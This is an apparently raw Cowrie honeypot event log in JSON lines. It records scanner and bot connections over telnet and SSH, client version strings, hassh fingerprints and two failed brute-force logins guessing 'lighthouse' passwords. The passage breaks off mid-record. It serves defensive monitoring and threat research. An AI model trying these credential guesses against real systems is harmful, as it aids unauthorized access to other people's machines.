{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse123","message":"login attempt [lighthouse/lighthouse123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:42.065267Z","src_ip":"80.94.92.186","session":"2c0bc5b9a4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.83629775047302,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:43.788812Z","src_ip":"128.199.8.54","session":"dc8e8bff94d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:44.026817Z","src_ip":"80.94.92.186","session":"2c0bc5b9a4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.573877811431885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:45.336214Z","src_ip":"69.6.249.0","session":"db7cf3e33fdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38179540634155,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:47.324518Z","src_ip":"128.199.8.54","session":"9cfd1524710d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52914,"dst_ip":"159.203.135.109","dst_port":23,"session":"d26dd46bb457","protocol":"telnet","message":"New connection: 128.199.8.54:52914 (159.203.135.109:23) [session: d26dd46bb457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:50.841636Z"}
{"eventid":"cowrie.session.closed","duration":32.95251965522766,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:56.451534Z","src_ip":"128.199.8.54","session":"c467943b4c10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":40641,"dst_ip":"10.17.0.5","dst_port":23,"session":"078acc969dae","protocol":"telnet","message":"New connection: 212.55.149.117:40641 (10.17.0.5:23) [session: 078acc969dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:58.275087Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37592,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e104ef4b2e7","protocol":"telnet","message":"New connection: 128.199.8.54:37592 (159.203.135.109:23) [session: 2e104ef4b2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:58.279901Z"}
{"eventid":"cowrie.session.closed","duration":33.995052099227905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:59.495983Z","src_ip":"128.199.8.54","session":"7f84955fdf63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.212.211","src_port":47972,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fecc974d540","protocol":"telnet","message":"New connection: 208.109.212.211:47972 (10.17.0.5:23) [session: 1fecc974d540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:04.708933Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37380,"dst_ip":"159.203.135.109","dst_port":23,"session":"b72e260a0f7b","protocol":"telnet","message":"New connection: 128.199.8.54:37380 (159.203.135.109:23) [session: b72e260a0f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:14.058087Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41036,"dst_ip":"159.203.135.109","dst_port":23,"session":"80277c03a207","protocol":"telnet","message":"New connection: 128.199.8.54:41036 (159.203.135.109:23) [session: 80277c03a207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:15.060096Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48550,"dst_ip":"159.203.135.109","dst_port":23,"session":"604881a56237","protocol":"telnet","message":"New connection: 128.199.8.54:48550 (159.203.135.109:23) [session: 604881a56237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:18.912779Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51656,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee055e28e50a","protocol":"telnet","message":"New connection: 128.199.8.54:51656 (159.203.135.109:23) [session: ee055e28e50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:20.519059Z"}
{"eventid":"cowrie.session.closed","duration":33.44879412651062,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:24.290313Z","src_ip":"128.199.8.54","session":"d26dd46bb457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73225283622742,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:31.012067Z","src_ip":"128.199.8.54","session":"2e104ef4b2e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43468,"dst_ip":"159.203.135.109","dst_port":23,"session":"da15c98f5227","protocol":"telnet","message":"New connection: 128.199.8.54:43468 (159.203.135.109:23) [session: da15c98f5227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:32.183151Z"}
{"eventid":"cowrie.session.closed","duration":30.452139377593994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:35.160942Z","src_ip":"208.109.212.211","session":"1fecc974d540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53180,"dst_ip":"159.203.135.109","dst_port":23,"session":"491da65c5b2f","protocol":"telnet","message":"New connection: 128.199.8.54:53180 (159.203.135.109:23) [session: 491da65c5b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:36.420184Z"}
{"eventid":"cowrie.session.closed","duration":35.93913817405701,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:49.997087Z","src_ip":"128.199.8.54","session":"b72e260a0f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.94871711730957,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:50.008585Z","src_ip":"128.199.8.54","session":"80277c03a207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.07603907585144,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:54.988696Z","src_ip":"128.199.8.54","session":"604881a56237","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.974907636642456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:55.493839Z","src_ip":"128.199.8.54","session":"ee055e28e50a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34944,"dst_ip":"159.203.135.109","dst_port":23,"session":"32b139a8de51","protocol":"telnet","message":"New connection: 128.199.8.54:34944 (159.203.135.109:23) [session: 32b139a8de51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:45:55.637148Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52724,"dst_ip":"159.203.135.109","dst_port":23,"session":"345a31f786ee","protocol":"telnet","message":"New connection: 128.199.8.54:52724 (159.203.135.109:23) [session: 345a31f786ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:04.566824Z"}
{"eventid":"cowrie.session.closed","duration":33.15967392921448,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:05.342706Z","src_ip":"128.199.8.54","session":"da15c98f5227","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.446844816207886,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:10.866668Z","src_ip":"128.199.8.54","session":"491da65c5b2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47724,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3401b677329","protocol":"telnet","message":"New connection: 128.199.8.54:47724 (159.203.135.109:23) [session: d3401b677329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:17.368254Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.43","src_port":60912,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d0a9fe26c86","protocol":"ssh","message":"New connection: 147.185.132.43:60912 (10.17.0.5:22) [session: 9d0a9fe26c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:27.280326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:28.112982Z","src_ip":"147.185.132.43","session":"9d0a9fe26c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:28.887486Z","src_ip":"147.185.132.43","session":"9d0a9fe26c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.91241097450256,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:31.549430Z","src_ip":"128.199.8.54","session":"32b139a8de51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:36.218796Z","src_ip":"147.185.132.43","session":"9d0a9fe26c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.86804127693176,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:38.434740Z","src_ip":"128.199.8.54","session":"345a31f786ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58878,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ac8ec8db81c","protocol":"telnet","message":"New connection: 128.199.8.54:58878 (159.203.135.109:23) [session: 6ac8ec8db81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:48.658379Z"}
{"eventid":"cowrie.session.closed","duration":32.18522882461548,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:49.553365Z","src_ip":"128.199.8.54","session":"d3401b677329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43382,"dst_ip":"159.203.135.109","dst_port":23,"session":"2939a9db406d","protocol":"telnet","message":"New connection: 128.199.8.54:43382 (159.203.135.109:23) [session: 2939a9db406d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:54.288822Z"}
{"eventid":"cowrie.session.closed","duration":120.00176501274109,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:58.276690Z","src_ip":"212.55.149.117","session":"078acc969dae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53094,"dst_ip":"159.203.135.109","dst_port":23,"session":"d43b7543dc35","protocol":"telnet","message":"New connection: 128.199.8.54:53094 (159.203.135.109:23) [session: d43b7543dc35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:58.473740Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":8655,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8af74e39086","protocol":"telnet","message":"New connection: 212.55.149.117:8655 (10.17.0.5:23) [session: c8af74e39086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:58.519368Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53736,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c59422fa3c3","protocol":"telnet","message":"New connection: 128.199.8.54:53736 (159.203.135.109:23) [session: 3c59422fa3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:46:58.780471Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39672,"dst_ip":"159.203.135.109","dst_port":23,"session":"510a1de2cf72","protocol":"telnet","message":"New connection: 128.199.8.54:39672 (159.203.135.109:23) [session: 510a1de2cf72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:05.340610Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40712,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0db76cf5977","protocol":"telnet","message":"New connection: 128.199.8.54:40712 (159.203.135.109:23) [session: a0db76cf5977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:19.476650Z"}
{"eventid":"cowrie.session.closed","duration":33.924505949020386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:22.582749Z","src_ip":"128.199.8.54","session":"6ac8ec8db81c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53822,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca72adfa2968","protocol":"telnet","message":"New connection: 128.199.8.54:53822 (159.203.135.109:23) [session: ca72adfa2968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:24.814086Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53478,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1f0741dc1f7","protocol":"telnet","message":"New connection: 128.199.8.54:53478 (159.203.135.109:23) [session: e1f0741dc1f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:25.664665Z"}
{"eventid":"cowrie.session.closed","duration":34.18842601776123,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:28.477149Z","src_ip":"128.199.8.54","session":"2939a9db406d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38552,"dst_ip":"159.203.135.109","dst_port":23,"session":"41f9ac615d63","protocol":"telnet","message":"New connection: 128.199.8.54:38552 (159.203.135.109:23) [session: 41f9ac615d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:32.421511Z"}
{"eventid":"cowrie.session.closed","duration":34.22937989234924,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:33.009748Z","src_ip":"128.199.8.54","session":"3c59422fa3c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.782676696777344,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:33.256306Z","src_ip":"128.199.8.54","session":"d43b7543dc35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51334,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a917ab16c14","protocol":"telnet","message":"New connection: 128.199.8.54:51334 (159.203.135.109:23) [session: 6a917ab16c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:37.894006Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51470,"dst_ip":"159.203.135.109","dst_port":23,"session":"c227dcec3153","protocol":"telnet","message":"New connection: 128.199.8.54:51470 (159.203.135.109:23) [session: c227dcec3153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:37.973342Z"}
{"eventid":"cowrie.session.closed","duration":35.53244733810425,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:40.872915Z","src_ip":"128.199.8.54","session":"510a1de2cf72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42382,"dst_ip":"159.203.135.109","dst_port":23,"session":"f95727e09d52","protocol":"telnet","message":"New connection: 128.199.8.54:42382 (159.203.135.109:23) [session: f95727e09d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:48.046510Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48300,"dst_ip":"159.203.135.109","dst_port":23,"session":"be44f488bf8e","protocol":"telnet","message":"New connection: 128.199.8.54:48300 (159.203.135.109:23) [session: be44f488bf8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:50.990980Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55072,"dst_ip":"159.203.135.109","dst_port":22,"session":"345246065c4c","protocol":"ssh","message":"New connection: 80.94.92.186:55072 (159.203.135.109:22) [session: 345246065c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:51.115516Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48524,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a3d8c5159d9","protocol":"telnet","message":"New connection: 128.199.8.54:48524 (159.203.135.109:23) [session: 3a3d8c5159d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:51.137276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:51.293120Z","src_ip":"80.94.92.186","session":"345246065c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:51.304574Z","src_ip":"80.94.92.186","session":"345246065c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse@123","message":"login attempt [lighthouse/lighthouse@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:52.440644Z","src_ip":"80.94.92.186","session":"345246065c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:53.632267Z","src_ip":"80.94.92.186","session":"345246065c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.281373023986816,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:53.757926Z","src_ip":"128.199.8.54","session":"a0db76cf5977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.1038932800293,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:57.768426Z","src_ip":"128.199.8.54","session":"e1f0741dc1f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42830,"dst_ip":"10.17.0.5","dst_port":22,"session":"250267024b22","protocol":"ssh","message":"New connection: 103.15.226.202:42830 (10.17.0.5:22) [session: 250267024b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:57.899554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:57.904390Z","src_ip":"103.15.226.202","session":"250267024b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.27656316757202,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:58.090556Z","src_ip":"128.199.8.54","session":"ca72adfa2968","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v